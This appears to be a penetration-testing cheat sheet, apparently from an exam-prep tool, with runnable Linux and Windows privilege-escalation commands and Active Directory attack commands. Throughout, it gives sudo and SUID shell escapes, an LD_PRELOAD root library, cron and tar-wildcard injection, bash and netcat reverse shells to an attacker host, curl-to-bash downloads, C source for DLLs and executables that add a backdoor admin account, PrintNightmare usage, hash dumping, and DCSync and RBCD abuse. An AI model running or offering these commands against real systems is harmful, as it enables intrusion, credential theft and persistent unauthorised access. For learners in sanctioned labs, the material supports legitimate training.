sudo, suid, cron, capabilities. Then what runs as root that you can write to, and what is listening that you could not see from outside. Kernel last
start here [4]
sudo -lfind / -perm -4000 -type f 2>/dev/nullcat /etc/crontab; ls -la /etc/cron.d/ /etc/cron.*/run it, then actually read it. pspy catches cron jobs running without needing root to see them
curl -sL http://$lhost:8000/linpeas.sh | bashcurl -sL http://$lhost:8000/linpeas.sh | bash -s -- -a 2>&1 | tee $workdir/loot/linpeas.md./pspy64 -pf -i 1000id; sudo -l; uname -a; cat /etc/os-releasels -la /home /opt /srv /var/backups /var/wwwgetcap -r / 2>/dev/nullps aux | grep -E '^root' | grep -vE '\[|sshd|cron|systemd|dbus'ss -tulpncat /etc/passwd | grep -vE 'nologin|false'find / -writable -type d 2>/dev/null | grep -vE '^/(proc|sys|dev|run|tmp|var/tmp)'find / -writable \( -name '*.sh' -o -name '*.py' -o -name '*.service' \) -not -path '/proc/*' 2>/dev/nullls -la /etc/passwd /etc/shadow /etc/sudoers /etc/sudoers.dsudo [5]
sudo -lsudo -V | head -1sudo vim -c ':!/bin/sh'sudo find . -exec /bin/sh \; -quitsudo awk 'BEGIN {system("/bin/sh")}'sudo python3 -c 'import os; os.system("/bin/sh")'sudo env /bin/shsudo less /etc/profilesudo -u $user2 /bin/bashwhen sudo -l points at a shell script, read it. A relative command name in there is a PATH hijack, and an unquoted variable is an injection
cat /path/to/script.shgrep -nE '^\s*[a-z0-9_]+ |\$[A-Za-z_]+|`|\$\(' /path/to/script.shecho '/bin/bash -p' > /tmp/ls && chmod +x /tmp/lssudo PATH=/tmp:$PATH /path/to/script.shwhen sudo -l shows env_keep+=LD_PRELOAD, any command it allows loads your library as root
printf '#include <stdlib.h>\n#include <unistd.h>\nvoid _init(){unsetenv("LD_PRELOAD");setgid(0);setuid(0);system("/bin/bash");}\n' > /tmp/pe.cgcc -fPIC -shared -nostartfiles -o /tmp/pe.so /tmp/pe.csudo LD_PRELOAD=/tmp/pe.so <allowed command>sudo -u#-1 /bin/bash # CVE-2019-14287, sudo < 1.8.28 where the rule reads (ALL, !root)# CVE-2021-3156 baron samedit — sudo < 1.9.5p2# CVE-2023-22809 sudoedit — 1.8.0 to 1.9.12p1 : EDITOR='vim -- /etc/sudoers' sudoedit /allowed/filesudo --version | head -1suid & capabilities [5]
anything outside /usr/bin and /usr/sbin is worth a proper look
find / -perm -4000 -type f 2>/dev/nullfind / -perm -4000 -type f 2>/dev/null | grep -vE '^/(usr/)?(s?bin|lib)'getcap -r / 2>/dev/nullpython3 -c 'import os; os.setuid(0); os.system("/bin/bash")' # cap_setuid on pythonperl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";' # cap_setuid on perl# cap_dac_read_search or cap_dac_override on anything: read /etc/shadow, or write to itwhat does it actually call. A bare command name means PATH, a full path you can write to means replace it
strings ./binary | grep -iE 'system|exec|/bin/|^[a-z]+$' | head -40ltrace ./binary 2>&1 | head -40strace -f ./binary 2>&1 | grep -E 'exec|open' | head -40echo '/bin/bash -p' > /tmp/ps && chmod +x /tmp/psPATH=/tmp:$PATH ./binary-p is what keeps the effective uid. Without it bash drops back to you
bash -p/tmp/bash -pcron & timers [7]
pspy shows you jobs that are not in any crontab you can read
cat /etc/crontabls -la /etc/cron.d /etc/cron.hourly /etc/cron.daily /var/spool/cron/crontabs 2>/dev/nullcrontab -lsystemctl list-timers --all./pspy64 -pf -i 1000ls -la $(grep -ohE '/[^ ]+\.(sh|py|pl)' /etc/crontab /etc/cron.d/* 2>/dev/null | sort -u)echo 'bash -c "bash -i >& /dev/tcp/$lhost/$lport 0>&1"' >> /path/to/cron.shthe PATH line at the top of /etc/crontab is the one the jobs use. A job that names its script without a path, plus a directory on that PATH you can write to, is yours — put a script with that name first on the PATH
head -5 /etc/crontabgrep -E '^[^#]' /etc/crontab /etc/cron.d/* 2>/dev/null | awk '{print $NF}' | grep -v '^/'printf '#!/bin/bash\ncp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash\n' > /home/$user1/overwrite.sh && chmod +x /home/$user1/overwrite.sh/tmp/rootbash -pa root-run script imports a module. Python looks in the script's own directory first, then down sys.path in order — a writable directory anywhere ahead of the real module wins. Same again with PYTHONPATH when sudo keeps it
grep -E '^(import|from) ' /path/to/root.pypython3 -c 'import sys; print("\n".join(sys.path))' | xargs -I{} sh -c 'test -w "{}" && echo "writable: {}"'ls -la /path/to/ # the script's own directory, and the module itselfecho 'import os; os.system("chmod u+s /bin/bash")' > /path/to/<module>.pysudo PYTHONPATH=/tmp /usr/bin/python3 /opt/script.py # when sudo -l shows env_keep+=PYTHONPATHtar * in a directory you can write to reads your filenames as command-line flags
echo 'bash -c "bash -i >& /dev/tcp/$lhost/$lport 0>&1"' > shell.shecho "" > "--checkpoint=1"echo "" > "--checkpoint-action=exec=sh shell.sh"openssl passwd -1 Pass4Pentest1echo 'root2:<hash>:0:0::/root:/bin/bash' >> /etc/passwd && su root2find /etc/systemd /lib/systemd -writable -name '*.service' 2>/dev/nullgrep -rE 'ExecStart' /etc/systemd/system/*.service 2>/dev/null | grep -vE 'usr/(s)?bin'services & groups [8]
ss -tulpn | grep 127.0.0.1curl -s http://127.0.0.1:$portssh -L $port:127.0.0.1:$port $user1@$ipid | grep -E 'docker|lxd|disk|adm|shadow'docker run -v /:/mnt --rm -it alpine chroot /mnt shdocker images; docker ps -aevery line of id that changes what you do next — docker, lxd, disk, adm, shadow, sudo and the rest — with the commands for each
open the privilege lookupnot in the docker group, but the socket is writable, or the api answers on a tcp port. Same result as the group
ls -la /var/run/docker.sockdocker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it alpine chroot /mnt shcurl -s --unix-socket /var/run/docker.sock http://localhost/images/json | jq -r '.[].RepoTags[]'curl -s http://127.0.0.1:2375/images/json | jq -r '.[].RepoTags[]'a tmux or screen socket you can attach to is their shell. An ssh agent socket in /tmp is their key, without ever reading it
ls -la /tmp/tmux-* /tmp/screens/S-* /tmp/ssh-*/ 2>/dev/null; ps aux | grep -E 'tmux|screen' | grep -v greptmux -S /tmp/tmux-0/default attachscreen -x root/SSH_AUTH_SOCK=/tmp/ssh-XXXX/agent.1234 ssh-add -lSSH_AUTH_SOCK=/tmp/ssh-XXXX/agent.1234 ssh root@localhoststeps
lxc image listlxc init <alpine image> c -c security.privileged=truelxc config device add c h disk source=/ path=/mnt/root recursive=truelxc start clxc exec c /bin/sh# then: cat /mnt/root/root/proof.txtan export with no_root_squash lets your local root write a suid shell into it
cat /etc/exportsshowmount -e $ip# on kali, with the share mounted:sudo cp /bin/bash /mnt/nfs/bash && sudo chmod +s /mnt/nfs/bash# on the box:/export/bash -pps aux | grep mysqldmysql -u root -e 'select @@version; select user,authentication_string from mysql.user'searchsploit mysql udfcreds lying about [4]
grep -rEi "pass(word)?|pwd|secret|token|api[_-]?key" /etc /opt /home /var/www /srv 2>/dev/null | grep -vE 'Binary|\.js:'cat ~/.bash_history /home/*/.*_history /root/.bash_history 2>/dev/nullfind / \( -name "*.kdbx" -o -name ".env" -o -name "*config*.php" -o -name "id_rsa*" -o -name "*.pem" \) -not -path "/proc/*" 2>/dev/nullcat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -i passls -la /home/*/.ssh /root/.ssh 2>/dev/nullcat /home/*/.ssh/id_rsa /home/*/.ssh/authorized_keys 2>/dev/nullcat /etc/shadowunshadow /etc/passwd /etc/shadow > $workdir/loot/unshadowed.mdjohn --wordlist=$rockyou $workdir/loot/unshadowed.mdsu - rootsu - $user2for u in $(cut -d: -f1 /etc/passwd); do echo "$pass1" | timeout 1 su $u -c id 2>/dev/null && echo " ^ $u"; donekernel [2]
uname -a; cat /proc/version; cat /etc/os-releasesearchsploit "linux kernel $(uname -r | cut -d. -f1,2)" privilege escalation# pwnkit CVE-2021-4034 — pkexec, almost everything before January 2022# dirty pipe CVE-2022-0847 — kernel 5.8 to 5.16.11# overlayfs CVE-2021-3493 — ubuntu below 20.10# dirty cow CVE-2016-5195 — below 4.8.3, and it is the one most likely to crashls -la $(which pkexec) 2>/dev/null; pkexec --version 2>/dev/nullprivesc — windows
privileges, then services, then scheduled tasks, then what is stored. Run the automated script early but read its output properly — it finds nearly all of this and you still have to spot it
start here [4]
whoami /privwhoami /groupsnet localgroup administratorsin the administrators group but Medium integrity means UAC is in the way, not permissions. Come back in over winrm or smb instead of hunting for a privesc
whoami /groups | findstr /i "mandatory"net localgroup administrators | findstr /i "%USERNAME%".\winPEASx64.exe.\winPEASx64.exe quiet servicesinfopowershell -ep bypass -c ". .\PowerUp.ps1; Invoke-AllChecks"powershell -ep bypass -c ". .\PowerUp.ps1; Get-ModifiableServiceFile; Get-UnquotedService; Get-ModifiableService"the tool the service checks lean on. -uwcqv is "what can this principal write"
.\accesschk.exe /accepteula -uwcqv "Authenticated Users" *.\accesschk.exe /accepteula -uwcqv "Everyone" *.\accesschk.exe /accepteula -uwdq C:\.\accesschk.exe /accepteula -ucqv <service>privileges [5]
whoami /priv, and anything enabled that is not the three defaults is worth looking up
every SeXxx line of whoami /priv and every line of whoami /groups that changes what you do next — what it gives you, how to use it from the box and from kali
privilege lookupservice accounts — iis, mssql — nearly always have it. A potato turns it into SYSTEM. PrintSpoofer first, GodPotato if the spooler is off
.\PrintSpoofer64.exe -i -c cmd.\PrintSpoofer64.exe -c "C:\Windows\Temp\nc.exe $lhost $lport -e cmd".\GodPotato-NET4.exe -cmd "cmd /c C:\Windows\Temp\nc.exe $lhost $lport -e cmd".\SigmaPotato.exe "C:\Windows\Temp\nc.exe $lhost $lport -e cmd"read any file whatever the ACL says. The two hives give you the local admin hash
reg save HKLM\SAM C:\Windows\Temp\sam & reg save HKLM\SYSTEM C:\Windows\Temp\systemrobocopy /b C:\Users\Administrator\Desktop C:\Windows\Temp\x proof.txtimpacket-secretsdump -sam sam -system system LOCALwrite any file. Swap something SYSTEM runs — a service binary is quieter than utilman, which needs the lock screen
takeown /f C:\Windows\System32\utilman.exeicacls C:\Windows\System32\utilman.exe /grant %USERNAME%:Fcopy /y C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe# SeDebug : dump lsass — see "on the box > windows — dump creds"# SeManageVolume : SeManageVolumeExploit.exe gives full control of C:\, then drop a dll in System32# SeLoadDriver : capcom / EoPLoadDriver — rarer and slower, leave it till lastwhoami /priv | findstr /i "backup restore takeown debug managevolume loaddriver impersonate"services [9]
filter out C:\Windows — what is left is third-party and worth checking
Get-CimInstance win32_service | select Name,State,PathName,StartMode | where {$_.State -eq 'Running'}wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\Windows\\"sc qc <service>(F) or (M) for Users, Everyone, Authenticated Users or your own name is the hole
icacls "C:\path\to\service.exe"icacls "C:\path\to"powershell -ep bypass -c ". .\PowerUp.ps1; Get-ModifiableServiceFile"a plain reverse shell gets killed after 30 seconds — build it with -f exe-service, or add a user instead and come back in cleanly
move "C:\path\to\service.exe" "C:\path\to\service.exe.bak"iwr http://$lhost:8000/svc.exe -OutFile "C:\path\to\service.exe"iwr http://$lhost:8000/adduser.exe -OutFile "C:\path\to\service.exe"compile on kali with mingw — see foothold. Quieter than a shell, and the account survives a reboot
source
#include <stdlib.h>int main() { system("net user hacker Pass4Pentest1 /add"); system("net localgroup administrators hacker /add"); return 0;}// x86_64-w64-mingw32-gcc adduser.c -o adduser.exeno rights to restart, but the service is set to start automatically, and you have SeShutdown? Reboot it
net stop <service> && net start <service>Restart-Service <service> -Forcesc stop <service> & sc start <service>whoami /priv | findstr SeShutdown && shutdown /r /t 0SERVICE_CHANGE_CONFIG or SERVICE_ALL_ACCESS means you repoint the service at anything you like
.\accesschk.exe /accepteula -ucqv <service>sc config <service> binpath= "C:\Windows\Temp\nc.exe $lhost $lport -e cmd"sc config <service> obj= "LocalSystem" start= autopowershell -ep bypass -c ". .\PowerUp.ps1; Invoke-ServiceAbuse -Name '<service>' -Command 'net localgroup administrators hacker /add'"the binary path also lives in the registry, and the key's ACL is checked separately from the service's. Write access on the key is change-config by another door — no sc needed. The service still has to be restartable, or set to start at boot
.\accesschk.exe /accepteula -uvwqk "Authenticated Users" HKLM\SYSTEM\CurrentControlSet\Services.\accesschk.exe /accepteula -uvwqk "%USERNAME%" HKLM\SYSTEM\CurrentControlSet\Servicesreg query HKLM\SYSTEM\CurrentControlSet\Services\<service> /v ImagePathreg add HKLM\SYSTEM\CurrentControlSet\Services\<service> /v ImagePath /t REG_EXPAND_SZ /d "C:\Windows\Temp\nc.exe $lhost $lport -e cmd" /fsc start <service>C:\Program Files\My App\svc.exe tries C:\Program.exe, then C:\Program Files\My.exe. Write your binary at the first one you have rights to
wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v '"'powershell -ep bypass -c ". .\PowerUp.ps1; Get-UnquotedService"icacls "C:\Program Files\My App"iwr http://$lhost:8000/adduser.exe -OutFile "C:\Program Files\My App\My.exe"a service that loads a dll out of a directory you can write to. Procmon finds the missing one if you have a desktop
dll source
#include <windows.h>#include <stdlib.h>BOOL APIENTRY DllMain(HMODULE h, DWORD reason, LPVOID r) { if (reason == DLL_PROCESS_ATTACH) { system("cmd.exe /c net user hacker Pass4Pentest1 /add"); system("cmd.exe /c net localgroup administrators hacker /add"); } return TRUE;}// x86_64-w64-mingw32-gcc evil.c --shared -o evil.dlltasks & autoruns [4]
Run As User is the line that matters, then icacls whatever Task To Run points at
schtasks /query /fo LIST /v | findstr /i "TaskName Author Run Task"Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,Stateschtasks /query /tn "<name>" /fo list /vicacls C:\path\to\script.ps1append rather than overwrite — the task still does its job and nobody notices
echo C:\Windows\Temp\nc.exe $lhost $lport -e cmd >> C:\path\to\script.batAdd-Content C:\path\to\script.ps1 'Start-Process C:\Windows\Temp\nc.exe -ArgumentList "$lhost $lport -e cmd"'reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Runreg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOncepowershell -ep bypass -c ". .\PowerUp.ps1; Get-ModifiableRegistryAutoRun"both keys set to 1 and any msi installs as SYSTEM. Rare, but it is two commands to check
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevatedreg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevatedmsiexec /quiet /qn /i C:\Windows\Temp\evil.msiuse what you found [3]
a password is only useful if you can become that user. runas needs a desktop, so from a plain shell use RunasCs or come back in from kali
.\RunasCs.exe $user2 $pass2 cmd -r $lhost:$lport.\RunasCs.exe $user2 $pass2 "C:\Windows\Temp\nc.exe $lhost $lport -e cmd" -d $domainrunas /user:$domain\$user2 cmdusually easier than anything on the box, and it gives you a high-integrity shell for free
evil-winrm -i $ip -u $user2 -p $pass2nxc smb $ip -u $user2 -p $pass2 --local-authimpacket-psexec "$user2:$pass2@$ip"xfreerdp /v:$ip /u:$user2 /p:$pass2 /cert:ignore /dynamic-resolutioncmdkey /listrunas /savecred /user:$domain\$adminu "C:\Windows\Temp\nc.exe $lhost $lport -e cmd"patches & software [6]
last, not first. A kernel exploit can bluescreen the box, and a reverted exam box costs you half an hour
systeminfo > C:\Windows\Temp\sysinfo.mdpython3 wes.py --updatepython3 wes.py $workdir/loot/sysinfo.md -i 'Elevation of Privilege' --exploits-onlywmic qfe get HotFixID,InstalledOn# PrintNightmare CVE-2021-34527 — spooler running and the 2021 patch missing# HiveNightmare CVE-2021-36934 — win10 1809+, check the SAM ACL below# potatoes — see privileges, far more reliable than eitherGet-Service Spoolericacls C:\Windows\System32\config\SAMGet-Service Spoolerwmic qfe get HotFixID,InstalledOn | findstr /i "KB5004945 KB5004946 KB5004947 KB5004948 KB5005010"reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PointAndPrint" /v RestrictDriverInstallationToAdministrators# kali: curl -LO https://raw.githubusercontent.com/calebstewart/CVE-2021-1675/main/CVE-2021-1675.ps1iex(iwr http://$lhost:8000/CVE-2021-1675.ps1 -UseBasicParsing); Invoke-Nightmare -NewUser hacker -NewPassword 'Pass4Pentest1'Invoke-Nightmare -DLL C:\Windows\Temp\evil.dllnet localgroup administratorsthe same bug over RPC from kali, with any domain user, against a box that still runs the spooler. The dll comes off a share you host. The rights go to the dll, so an adduser dll (the services group has the source) is the quiet choice. nxc checks for it first
nxc smb $ip -u $user1 -p $pass1 -M printnightmareimpacket-rpcdump @$ip | grep -E 'MS-RPRN|MS-PAR'# kali: git clone https://github.com/cube0x0/CVE-2021-1675 — it needs its own patched impacket; follow the readme, in a venvimpacket-smbserver share $workdir/.tools -smb2supportpython3 CVE-2021-1675.py "$domain/$user1:$pass1@$ip" "\\\\$lhost\\share\\evil.dll"windows 10 from 1809 let every user read the hives, and a shadow copy makes the lock not matter. If icacls shows BUILTIN\Users with (RX) on SAM and vssadmin lists a shadow, the local admin hash is three copies away. The exe does the copying for you
icacls C:\Windows\System32\config\SAMvssadmin list shadows# kali: curl -LO https://github.com/GossiTheDog/HiveNightmare/releases/latest/download/HiveNightmare.exe.\HiveNightmare.exe# by hand, with the shadow copy number from vssadmin:copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\Windows\Temp\samcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Windows\Temp\systemimpacket-secretsdump -sam sam -system system LOCALwhatever is in Program Files that is not Microsoft. The box was usually built around one of them
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*","HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select DisplayName,DisplayVersion | where DisplayNamedir "C:\Program Files" "C:\Program Files (x86)"searchsploit <product>active directory
get your bearings [6]
Kerberos will not work against a bare IP, so the FQDN goes into hosts before anything else
nxc smb $ipnmap -p 88,135,139,389,445,636,3268,5985 $ipecho "$ip $dc $domain" | sudo tee -a /etc/hostsKRB_AP_ERR_SKEW means you are more than five minutes off the DC. Take the time from the DC, not the internet
sudo timedatectl set-ntp offsudo ntpdate $dcthe realm is the domain in capitals and the KDC is the DC by name, so the hosts line above comes first. Written fresh per box — the last box's answers are still in the file. kinit puts the TGT where KRB5CCNAME points, or /tmp/krb5cc_<uid> when it is unset, and klist shows which. impacket-getTGT in tickets is the other way to the same ccache
realm=$(echo $domain | tr a-z A-Z)sudo tee /etc/krb5.conf <<EOF[libdefaults] default_realm = $realm dns_lookup_realm = false dns_lookup_kdc = false[realms] $realm = { kdc = $dc admin_server = $dc }[domain_realm] .$domain = $realm $domain = $realmEOFkinit $user1@$realmklistkdestroyrun it before you change DOMAIN and DC on the panel, while they still name the old box. The realm card overwrites krb5.conf whole, so re-running it is most of the reset — this clears the rest. kdestroy -A empties every cache, not just the one KRB5CCNAME points at, and the hosts card appends, so its line is the one thing that piles up
kdestroy -Aunset KRB5CCNAMEsudo rm -f /etc/krb5.confsudo sed -i "/ $domain\$/d" /etc/hostsgrep -n . /etc/hoststhe single most useful command on the set. Run it the moment you land any credential, against every host you know. Pwn3d! means local admin
nxc smb $subnet -u $user1 -p $pass1nxc smb $subnet -u $user1 -H $hash1nxc winrm $subnet -u $user1 -p $pass1nxc rdp $subnet -u $user1 -p $pass1nxc mssql $subnet -u $user1 -p $pass1before any spray. Threshold 0 means spray freely. 3 or 5 means one password per round, and locking out the account you need is a bad hour
nxc smb $dc -u $user1 -p $pass1 --pass-polnet accounts /domainenumerate from kali [5]
rid brute through a guest or null session is usually the fastest route to a full user list
nxc smb $dc -u '' -p '' --usersnxc smb $dc -u guest -p '' --users --rid-brute 10000impacket-lookupsid guest@$dc -no-pass 10000 | grep SidTypeUser | cut -d'\' -f2 | cut -d' ' -f1 | sort -u >> $userlistkerbrute userenum -d $domain --dc $dc $seclists/Usernames/xato-net-10-million-usernames.txtget-desc-users is worth running every time — people put passwords in the description field
nxc smb $dc -u $user1 -p $pass1 --users --groups --loggedon-users --sessions --pass-polnxc ldap $dc -u $user1 -p $pass1 -M get-desc-usersnxc ldap $dc -u $user1 -p $pass1 --password-not-required --admin-count --trusted-for-delegationimpacket-GetADUsers -all "$domain/$user1:$pass1" -dc-ip $dcldapdomaindump -u "$domain\\$user1" -p "$pass1" -o $workdir/loot/ldap $dcroutes the graph does not always draw. MachineAccountQuota above 0 means you can add a computer, which RBCD needs. A pre-2000 computer account's password is its own name in lower case without the $. Delegation of any kind is an entry on the bloodhound page
nxc ldap $dc -u $user1 -p $pass1 -M maqnxc ldap $dc -u $user1 -p $pass1 -M pre2kimpacket-findDelegation "$domain/$user1:$pass1" -dc-ip $dcnxc ldap $dc -u $user1 -p $pass1 -M adcsnxc smb $dc -u $user1 -p $pass1 --users | awk '{print $5}' | grep -vE '^-?$' | sort -u >> $userlistsort -u -o $userlist $userlist && wc -l $userlistSYSVOL and NETLOGON are readable by every domain user and often hold scripts with passwords in them
nxc smb $subnet -u $user1 -p $pass1 --sharesnxc smb $dc -u $user1 -p $pass1 -M spider_plusfindstr /S /I cpassword \\$dc\sysvol\$domain\Policies\*.xmlnxc smb $dc -u $user1 -p $pass1 -M gpp_passwordbloodhound [7]
collect it as soon as you have one domain credential. It is the difference between guessing and knowing which box is next
bloodhound-python -d $domain -u $user1 -p $pass1 -dc $dc -ns $ip -c All --zipnxc ldap $dc -u $user1 -p $pass1 --bloodhound --collection All --dns-server $ipmark every user you own as Owned first — the "from Owned Principals" queries are useless without it
# Shortest Paths from Owned Principals# Shortest Paths to Domain Admins / to High Value Targets# Find Principals with DCSync Rights# List all Kerberoastable Accounts / AS-REP Roastable Users# click each owned user > Outbound Object Control — GenericAll, GenericWrite, WriteDacl, ForceChangePassword# click each owned user > Sessions — where else is this account logged inthe graph names an edge, that page gives you the command for it — every edge A to Z, with the creds from this panel already in them
bloodhound edge lookuponce per machine. Put it on 8088, not the default 8080, which is Burp's proxy — leave both on 8080 and whichever you start second cannot bind. Kali's docker-compose package is the v2 plugin, there is no docker-compose-plugin package. The initial password is printed to the log once, the first time the app database is created, and nowhere else — it takes a few seconds after "Started", so wait for it
install
sudo apt update && sudo apt install -y docker.io docker-composesudo systemctl enable --now dockersudo usermod -aG docker $USER # log out and back in for this to takemkdir -p ~/bloodhound && cd ~/bloodhoundcurl -L https://ghst.ly/getbhce -o docker-compose.ymlecho 'BLOODHOUND_PORT=8088' > .env # host side only — the container stays on 8080docker compose pull && docker compose up -ddocker compose port bloodhound 8080 # should say 127.0.0.1:8088docker compose logs -f bloodhound | grep -m1 "Initial Password" # waits for the line, then exits# http://localhost:8088/ui/login — admin + that password, then set your ownit only prints when the app database is first created. If you had an earlier install, the database volume is still there and no new password is made — either reset the admin or wipe the volumes
reset
cd ~/bloodhounddocker compose logs bloodhound | grep "Initial Password" # check the full log first, not just the tail# reset the admin and keep the dataecho 'bhe_recreate_default_admin=true' >> .envdocker compose up -d --force-recreate bloodhounddocker compose logs -f bloodhound | grep -m1 "Initial Password"sed -i '/bhe_recreate_default_admin/d' .env # or it resets again every restart# or wipe everything and start cleandocker compose down -v && docker compose up -ddocker compose logs -f bloodhound | grep -m1 "Initial Password"writing the .env is not enough on its own — compose only re-reads the port when the container is recreated
move it
cd ~/bloodhoundecho 'BLOODHOUND_PORT=8088' > .envdocker compose up -d --force-recreatedocker compose port bloodhound 8080 # should say 127.0.0.1:8088# the graph is in a volume, so nothing you have collected is lostalready installed. It does not survive a reboot unless you bring it back yourself
start
cd ~/bloodhounddocker compose up -d && docker compose psdocker compose logs -f bloodhound # ctrl-c once it says it is serving# http://localhost:8088/ui/logindocker compose stop # done for the day, data stays putdocker compose down -v # wipe the graph and start cleanbloodyAD [8]
the graph names an edge, this acts on it — from kali, over ldap to the DC, with the one domain credential you hold. No PowerView, no shell on a joined host. The verb is get, set, add or remove; the first name is the object the edge points at, the second is you. target is in the panel, and the bloodhound page above has the same lines per edge, with what each edge means
a password, an NT hash or a ticket, all on the same line. The empty LM half before the hash is read as the default. A bare -k reads KRB5CCNAME, or name the file. --dc-ip when the DC's name does not resolve, -s when a password change is refused over plain ldap. The install is in setup — apt install bloodyad, or pipx install bloodyAD
bloodyAD --host $dc -d $domain -u $user1 -p $pass1 get object $user1 --attr memberOfbloodyAD --host $dc -d $domain -u $user1 -p :$hash1 get object $user1 --attr memberOfexport KRB5CCNAME=$auth1; bloodyAD --host $dc -d $domain -u $user1 -k get object $user1 --attr memberOfbloodyAD --host $dc -d $domain -u $user1 -k ccache=$auth1 get object $user1 --attr memberOfbloodyAD --host $dc --dc-ip $ip -d $domain -u $user1 -p $pass1 -s get object $user1 --attr memberOfbloodyAD get --help; bloodyAD add --help; bloodyAD set object --helpthe acl edges straight from ldap, in a minute, as the user you are — run it the moment you land a credential, graph or no graph. Anything it lists is a row below and an entry on the bloodhound page under that right's name. --otype narrows it to users, groups or computers
bloodyAD --host $dc -d $domain -u $user1 -p $pass1 get writable --detailbloodyAD --host $dc -d $domain -u $user1 -p $pass1 get writable --otype USER --right WRITEbloodyAD --host $dc -d $domain -u $user1 -p $pass1 get writable --otype GROUP --detailbloodyAD --host $dc -d $domain -u $user1 -p $pass1 get writable --otype COMPUTER --detailimpacket-dacledit -action read -target $target "$domain/$user1:$pass1" -dc-ip $dcwhat it is, who is in it, what the description says. get search takes any ldap filter, so the roastable and the described come out without a collector. get children lists everything of one class, get dnsDump every name the DC knows — the hosts file for the inside network
bloodyAD --host $dc -d $domain -u $user1 -p $pass1 get object $target --attr objectClass,memberOf,description,userAccountControl,servicePrincipalNamebloodyAD --host $dc -d $domain -u $user1 -p $pass1 get membership $targetbloodyAD --host $dc -d $domain -u $user1 -p $pass1 get object $target --attr memberbloodyAD --host $dc -d $domain -u $user1 -p $pass1 get search --filter '(description=*)' --attr sAMAccountName,descriptionbloodyAD --host $dc -d $domain -u $user1 -p $pass1 get search --filter '(&(objectClass=user)(servicePrincipalName=*))' --attr sAMAccountName,servicePrincipalNamebloodyAD --host $dc -d $domain -u $user1 -p $pass1 get search --filter '(userAccountControl:1.2.840.113556.1.4.803:=4194304)' --attr sAMAccountNamebloodyAD --host $dc -d $domain -u $user1 -p $pass1 get children --otype computerbloodyAD --host $dc -d $domain -u $user1 -p $pass1 get dnsDumpbloodyAD --host $dc -d $domain -u $user1 -p $pass1 get trustsGenericAll, GenericWrite, AllExtendedRights, ForceChangePassword, or WriteDacl and WriteOwner once the row below has given you full control. Four ways in, loudest first. A password change always works and the user is locked out — fine on the exam. Pre-auth off and a written SPN change nothing the user sees, but you have to crack what comes back. Shadow credentials need a CA in the domain. Current bloodyAD does the PKINIT itself and prints the NT hash and where it put the TGT; older builds save a pem pair and print the PKINITtools line to run. certipy shadow auto is the same thing in one go
bloodyAD --host $dc -d $domain -u $user1 -p $pass1 set password $target $newpassnxc smb $dc -u $target -p $newpass# or, without changing the password: AS-REP roast itbloodyAD --host $dc -d $domain -u $user1 -p $pass1 add uac $target -f DONT_REQ_PREAUTHimpacket-GetNPUsers "$domain/$target" -no-pass -format hashcat -dc-ip $dc# or: targeted kerberoastbloodyAD --host $dc -d $domain -u $user1 -p $pass1 set object $target servicePrincipalName -v "$spn"impacket-GetUserSPNs "$domain/$user1:$pass1" -dc-ip $dc -request-user $target# or: shadow credentialsbloodyAD --host $dc -d $domain -u $user1 -p $pass1 add shadowCredentials $targetexport KRB5CCNAME=$(ls -t *.ccache | head -1); klistcertipy shadow auto -u "$user1@$domain" -p $pass1 -dc-ip $ip -account $targetGenericAll, GenericWrite, AddMember, AddSelf, or WriteDacl and WriteOwner through the row below. Add yourself, then prove it. The new membership is in the next ticket, not the one you hold, so a fresh logon or kinit before anything kerberos. The group is usually local admin somewhere — re-run "which creds work where"
bloodyAD --host $dc -d $domain -u $user1 -p $pass1 add groupMember $target $user1bloodyAD --host $dc -d $domain -u $user1 -p $pass1 get membership $user1nxc smb $subnet -u $user1 -p $pass1nxc winrm $subnet -u $user1 -p $pass1GenericAll, GenericWrite, AddAllowedToAct, WriteAccountRestrictions, ReadLAPSPassword. LAPS first when it is there — a password, no kerberos. Otherwise RBCD — add a machine account (MachineAccountQuota above 0, the maq card above; bloodyAD puts the $ on the name itself, so it goes in without one), let it act for the target, then ask for a ticket to the target as administrator. cifs for psexec, http for winrm. thost is the target's FQDN, and kerberos wants it, not the IP
bloodyAD --host $dc -d $domain -u $user1 -p $pass1 get object $target --attr ms-Mcs-AdmPwd,msLAPS-Passwordnxc smb $thost -u Administrator -p '<laps password>' --local-auth# or: RBCDbloodyAD --host $dc -d $domain -u $user1 -p $pass1 add computer ${fakepc%$} $fakepassbloodyAD --host $dc -d $domain -u $user1 -p $pass1 add rbcd $target $fakepcimpacket-getST -spn cifs/$thost -impersonate administrator "$domain/$fakepc:$fakepass" -dc-ip $ipexport KRB5CCNAME=$(ls -t administrator@*.ccache | head -1)impacket-psexec -k -no-pass "$domain/administrator@$thost"owner first if that is all you have, then full control, then whatever the row for that object type says. On the domain object itself the right to want is DCSync — grant it to yourself and dump. Owns and WriteOwner give you set owner; WriteDacl and GenericAll give you add genericAll and add dcsync
bloodyAD --host $dc -d $domain -u $user1 -p $pass1 set owner $target $user1bloodyAD --host $dc -d $domain -u $user1 -p $pass1 add genericAll $target $user1bloodyAD --host $dc -d $domain -u $user1 -p $pass1 add dcsync $user1impacket-secretsdump "$domain/$user1:$pass1@$dc" -just-dc-ntlmno points in it, but a remove for every add — for an engagement, or when a change breaks the service the box runs on. set object with no -v clears the attribute
undo
